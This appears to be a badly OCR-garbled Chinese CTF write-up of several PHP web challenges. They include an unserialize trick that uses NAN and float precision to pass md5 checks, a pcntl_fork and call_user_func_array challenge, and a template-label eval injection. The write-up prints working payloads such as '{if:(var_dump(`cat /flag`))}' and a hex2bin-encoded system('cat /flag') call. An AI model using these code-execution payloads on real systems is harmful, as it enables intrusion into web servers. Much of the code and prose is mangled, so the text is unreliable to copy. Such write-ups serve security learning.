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easytrick

?php
class trick{

public $trickil;
public $trick2;
public function _ destruct(){
$this->trickl = (string)$this->tricki1;
if(strlen($this->trickl) 5 strlen($this->trick2) 5){
die( I

1
J

if($this->trickl $this->trick2 md5 ($this->trickl) md5 ($this->trick2) $this->trickl $thi
s->trick2){
echo file get contents( E
1
J
1
J
1
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highlight file(__ FILE_ );
unserialize($_GET][ s
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$_POST[ ] &&md5($_POST][ 1)===md5($_POST|[
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$b);

var_dump($a!=$b);
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both have MD5 hash:

008ee33a9d58b51cfeb425b2959121c9
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payload:

?php
class trick{
public $trickil;
public $trick2;

$tr = new trick();
$tr->trickl NAN;
$tr->trick2 NAN;;

echo serialize($tr);
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if($this—>trickl !== $this—>trick?2 && md5($this—>trickl) === md5($this—>trick2)) {
var dump($this—>trickl != $this—>trick?2);
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(_FILE );
GET[ trick’ ]): bool(true)
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var_dump(1.000000000000000 1 TRUE
var_dump(1.0000000000000001 1 TRUE
<?php
if(1.000000000000000 == 1) true true
echo "true";
if(1.0000000000000001 == 1)

echo " true®;

0.9999999999999999 (1749) &iT strlen HRHIL HIki N1

<?php
echo(©.9999999999999999) ; 1
I
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<?php
+ 11(0.99999999999999 == 1){ true<br>true
echo "true";
© Yelse{
echo "no";
)

echo "(br)"; %i%ié?j_—*%ﬁrj 0.284s
+ if(0.99999999999999 = 1){ 4RI%EE: php5.6
echo "true";
© Jelseq
echo "no";
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<?php

if(md5(0.9999999999999999) === md5(1)){ true
echo "true";

Yelse{
echo "no";

}
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?php
class trick{
public $trickl ;
public $trick2 ;

$shy = new trick();
$shy->trickl g
$shy->trick2 0.9999999999999999;

echo urlencode(serialize($a));
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?php
//fBB¥E: php:7.4.8-apache
$pid pcntl_fork();
if ($pid =1y A
die( )§
}else if ($pid){
$r=pcntl_wait($status);
if(!pcntl_wifexited($status)){
phpinfo();
}
}else{
highlight file(__ FILE_ );
if(isset($_GET[ 1)&&is_string($_GET[ D) preg_match(
call user_func_array($_GET[ 1,[$_GET[ ],false,truel);

¥
posix_kill(posix_getpid(), SIGUSR1);
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pcntl_fork () E¥Rphp-pent1Ais g T 61 2 32 i B 5

pcntl_fork O GBI THBERINGE, ERFEN, RETHES, ETFHENIERFE, KRBIIRE-1

pcntl_wait — FfFEURE fork i FREFRAS

pcntl_wifexited — MEARSRBRERR-NIEFEHEHE.

call_user_func_array ( callable $callback , array $param_arr ) EHE—NSEIENEARS (callback) A, ESHEHEME
(param_arr) AEEREKKHSEEN.
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?php
$pid pcntl fork();
/[ SRR F R AT T E AR
if ($pid -1) {
/5 RAE T BER TR R IR E] -1
)
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pcntl wait($status); //FfFTtiErhl, By BERESO8E T #E.
} else {
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FEA pentl_wait RFBZEFTFHEBBA ST TH, BLAERMBHEET, FEFHEAEFTBE, NHHITRERE,
FRELF phpinfo()
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?php
$result ;
foreach (get_defined_functions() as $key $val){
if ($key )
foreach ($val as $k=>%v){
$result $result.$v. ;

echo $result;
if(file_exists(
unlink(
telse{
file put_contents( ,$result);
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requests

s
zend version:func num args-func get arg-func get args:strlen:strcmp-strncmp-strcasecmp-strncasecmp-each-error report

s-=-s.split("-")

i s:
con-=-requests.get(
'System’ con:
i
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similar_text
is_callable
stream_socket_client
stream_socket_server
fsockopen

pfsockopen

?php

error_reporting(0);

highlight_file(__ FILE_ );

parserIflLabel($ GET[ 1;

function danger_key($s) {
$s=htmlspecialchars($s);




$key=array(
s s
s
)
$s str_ireplace($key, ,$s);
$danger=array ( ,

)
foreach ($danger as $val){
if(strpos($s,$val) false){
die(

b
if(preg_match(
die(
b
return $s;
b
function parserIflLabel( $content ) {
$pattern 5
if ( preg_match_all( $pattern, $content, $matches ) ) {
$count = count( $matches[ @ ] );
for ( $1i = 0; $i < $count; $i++ ) {
$flag 5
$out_html ;
$ifstr = $matches[ 1 ][ $i ;
$ifstr=danger key($ifstr,1);
if(strpos($ifstr, ) false){
$arr= splits($ifstr, )
if($arr[0o] $arr[1] ){
die( .$ifstr. )
)i
$ifstr = str_replace( , $ifstr );
)i
$ifstr = str_replace( , $ifstr );
$ifstr = str_replace( , $ifstr );
$ifstr = str_replace( , , $ifstr );
$ifstr = str_replace( , , $ifstr );

$ifstr = str_replace( , , $ifstr );
if ( preg_match( , $ifstr)) {

die( .$ifstr);
telse{

@eval( . $flag $flag

if ( preg_match( , $matches[ 2 ][ $i ], $matches2 ) ) {
switch ( $flag ) {
case
if ( isset( $matches2[ 1 ] ) ) {
$out_html .= $matches2[ 1 ];
)i
break;
case :
if ( isset( $matches2[ 2 ] ) ) {
$out_html .= $matches2[ 2 J;
)i

break;




$out_html .= $matches[ 2 ][ $i ];

)i

$pattern2 ;

if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
$out_html = str_replace( . $matches3[ 1 ], , $out_html );
$out_html = str_replace( . $matches3[ 1 ] , , $out_html );
$out_html = str_replace( . $matches3[ 1 ] . , $out_html );
$out_html = $this->parserIfLabel( $out_html );

b
$content = str_replace( $matches[ @ ][ $i ], $out_html, $content );

}

return $content;

b
function splits( $s, $str ) {
if ( empty( $s ) ) return array( )
if ( strpos( $s, $str ) false ) {
return explode( $str, $s );
} else {
return array( $s );
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if ( preg_match( , $ifstr)) {
die(
}

function splits( $s, $str ) {
if ( empty( $s ) ) return array( )5
if ( strpos( $s, $str ) false ) {
return explode( $str, $s );
} else {

return array( $s );
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@eval( . $ifstr . $flag

RE# eval TZR, I TEREREBE
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ends+if 8K end Al iIfZRZLEFANTFAF(FH #ITEH)
5 R Ut IX A IE ) UG S A =

{if: (ILEEAE) T (ILEEHN %) {end if}

RINVCER I N 29 {if: phpinfo()};{end if}

N 5% J5 & an R ARES Ab B S
@eval( . $ifstr . $flag $flag
BiaE ki f (phpinfo()){$flag ;Yelse{$flag
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payloadl

Pa={if:(var_dump( cat /flag ))}(1){end if}
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if ( empty( $s ) ) return array(
if ( strpos( $s, $str ) != false

return explode( $str, $s );

} else |

return array( $s ):

¥

} string(17) "flag{youaregood} "

T 4bhex2binth B A it 8, BT AR A X AN 5 $ih i payload

T+ EtHlE RSy ASCI F4F

» ©x73797374656d2827636174202f666c61672729

) ( )

# payloadl

?a={if: (hex2bin( ) ( ))}(1){end if}
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